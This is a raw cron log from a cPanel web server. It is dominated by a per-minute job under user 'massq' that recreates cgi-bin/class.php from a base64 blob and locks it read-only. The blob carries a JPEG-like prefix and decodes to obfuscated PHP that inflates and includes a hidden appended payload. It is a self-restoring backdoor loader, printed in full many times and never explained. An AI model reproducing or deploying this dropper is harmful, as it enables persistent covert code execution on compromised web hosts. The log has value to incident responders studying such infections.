Nov 10 01:48:01 server CROND[4742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:49:01 server CROND[5570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:50:01 server CROND[6488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 01:50:01 server CROND[6491]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:50:01 server CROND[6493]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 01:50:01 server CROND[6497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:50:01 server CROND[6496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:51:01 server CROND[7364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:52:01 server CROND[8180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:53:01 server CROND[9156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:54:01 server CROND[9884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:55:01 server CROND[10704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:55:01 server CROND[10705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:55:01 server CROND[10706]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:56:01 server CROND[11602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:57:01 server CROND[12568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:57:01 server CROND[12569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 01:58:01 server CROND[13384]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:59:01 server CROND[13881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:00:01 server CROND[14590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:00:01 server CROND[14594]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 02:00:01 server CROND[14598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:00:01 server CROND[14597]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 02:00:01 server CROND[14595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:00:01 server CROND[14599]: (root) CMD (/usr/local/cpanel/bin/backup)
